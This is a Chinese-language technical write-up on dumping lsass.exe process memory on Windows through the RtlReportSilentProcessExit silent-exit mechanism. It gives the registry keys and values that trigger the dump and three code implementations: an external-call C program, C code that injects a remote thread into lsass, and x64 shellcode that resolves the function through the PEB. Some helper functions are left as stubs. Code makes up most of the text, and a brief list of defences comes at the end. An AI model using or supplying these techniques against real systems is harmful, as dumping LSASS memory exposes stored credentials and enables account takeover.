静默退出 DUMP LSASS.EXE
字数 982 2025-08-09 13:33:54
静默退出 DUMP LSASS.EXE 技术详解
技术原理
RtlReportSilentProcessExit 是一种 Windows 系统提供的静默退出机制,可以用来在不实际终止进程的情况下触发系统生成进程内存转储文件。该技术通过以下步骤实现:
- 注册表配置:修改特定注册表项,配置 dump 保存路径和参数
- 函数调用:通过
RtlReportSilentProcessExit告诉系统正在执行静默退出 - 内存转储:系统根据注册表配置生成进程内存转储文件
注册表配置要求
需要配置以下注册表项:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
具体键值:
-
Image File Execution Options 下:
GlobalFlag: 0x200 (启用静默进程退出监测)
-
SilentProcessExit 下:
DumpType: 0x02 (dump 内存的类型)LocalDumpFolder: c:\temp (dump 后保存的地址)ReportingMode: 0x02 (退出执行的操作)
实现方法
方法一:外部调用
#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(HANDLE processHandle, NTSTATUS ExitStatus);
// 启用DEBUG权限
BOOL EnableDebugPriv() {
// 实现代码...
}
// 设置相关注册表
BOOL setRelatedRegs(PCWCHAR procName) {
// 实现代码...
}
// 通过进程名获取PID
DWORD getPidByName(PCWCHAR procName) {
// 实现代码...
}
INT main() {
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HMODULE hNtMod = NULL;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
HANDLE hLsassProc = NULL;
NTSTATUS ntStatus = -1;
if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
hNtMod = GetModuleHandle(L"ntdll.dll");
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
return 0;
}
方法二:线程注入
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(HANDLE processHandle, NTSTATUS ExitStatus);
typedef struct Rtl {
HANDLE GCP; // 参数
FARPROC dwRtlReportSilentProcessExit; // 函数地址
} RtlReportParam;
// 线程函数
DWORD WINAPI threadProc(LPVOID lParam) {
fRtlReportSilentProcessExit RtlReportSilentProcessExit;
RtlReportParam* pRP = (RtlReportParam*)lParam;
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit;
RtlReportSilentProcessExit(pRP->GCP, 0);
return 0;
}
// 获取进程PID
DWORD getPidByName(PCWCHAR procName) {
// 实现代码...
}
void main() {
DWORD dwSize = 4096;
PCWCHAR targetProcName = L"lsass.exe";
int pid = getPidByName(targetProcName);
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
// 把ThreadProc写入内存
LPVOID base_address = VirtualAllocEx(notepad, 0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(notepad, base_address, &threadProc, dwSize, 0);
// 获取函数地址和参数,传到结构里面并写入注入进程的内存
RtlReportParam RtlReportParamData;
ZeroMemory(&RtlReportParamData, sizeof(RtlReportParam));
RtlReportParamData.dwRtlReportSilentProcessExit = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlReportSilentProcessExit");
RtlReportParamData.GCP = GetCurrentProcess();
LPVOID pRemoteParam = VirtualAllocEx(notepad, 0, sizeof(RtlReportParamData), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(notepad, pRemoteParam, &RtlReportParamData, sizeof(RtlReportParamData), 0);
// 执行函数
DWORD dwWriteBytes;
HANDLE hRemoteThread = CreateRemoteThread(
notepad, NULL, 0,
(DWORD(WINAPI*)(void*))base_address,
pRemoteParam, CREATE_SUSPENDED, &dwWriteBytes);
ResumeThread(hRemoteThread);
}
方法三:Shellcode注入(64位)
.DATA
.CODE
func PROC
mov rdx,gs:[60h] ; 64位PEB地址
mov rbx, [rdx+18h] ; Ldr
mov rsi, [rbx+28h] ; InMemoryOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rsi,[rsi] ; 找到ntdll.dll的LDR_DATA_TABLE_ENTRY
mov rbx, [rsi+20h] ; ntdll.dll的基址
mov edx, [rbx+3Ch] ; e_lfanew偏移
add rdx, rbx ; e_lfanew
mov edx, [rdx+88h] ; VirtualAddress偏移
add rdx, rbx ; VirtualAddress
mov esi, [rdx+20h] ; AddressOfNames偏移
add rsi, rbx ; AddressOfNames
xor rcx,rcx ; rcx置零
Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 526c7452h
jnz Get_Function
cmp dword ptr [rax+4], 726f7065h
jnz Get_Function
cmp dword ptr [rax+8], 6c695374h
jnz Get_Function ; 找到RtlReportSilentProcessExit名称地址
mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx
mov rcx, -1 ; -1代表当前进程句柄
mov rdx, 0 ; 第二个参数
call rbx ; 执行RtlReportSilentProcessExit
ret
func ENDP
END
技术对比
-
外部调用:
- 优点:稳定可靠
- 缺点:会同时dump调用进程的内存
-
线程注入:
- 优点:只dump目标进程内存
- 缺点:需要重启系统后才能生效,稳定性较差
-
Shellcode注入:
- 优点:隐蔽性高
- 缺点:编写复杂,需要处理64位指针
防御措施
-
监控注册表关键位置的修改:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
-
限制对
lsass.exe进程的访问权限 -
启用 Windows Defender 攻击面减少规则,防止 LSASS 内存转储
-
监控异常的内存转储文件生成行为